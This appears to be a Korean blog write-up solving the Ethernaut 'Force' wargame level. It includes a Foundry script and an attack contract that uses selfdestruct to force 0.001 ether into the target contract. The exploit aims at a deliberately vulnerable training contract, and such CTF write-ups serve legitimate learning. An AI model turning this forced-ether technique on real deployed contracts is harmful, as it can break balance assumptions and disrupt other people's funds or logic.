Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

귀엽다..!

PoC

selfdestruct 함수를 날리면 남아있는 eth를 받을 수 있다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract attack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
    receive() payable external{}
}

contract exploit is Script {
    
    function run() public {
        uint256 pk = pk;
        vm.startBroadcast(pk);

        address payable target = payable(0x215C2B126D60F16Ed2a9036A4Df030AA0724e7db);
        
        new attack{value: 0.001 ether}(target);

        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

+ Recent posts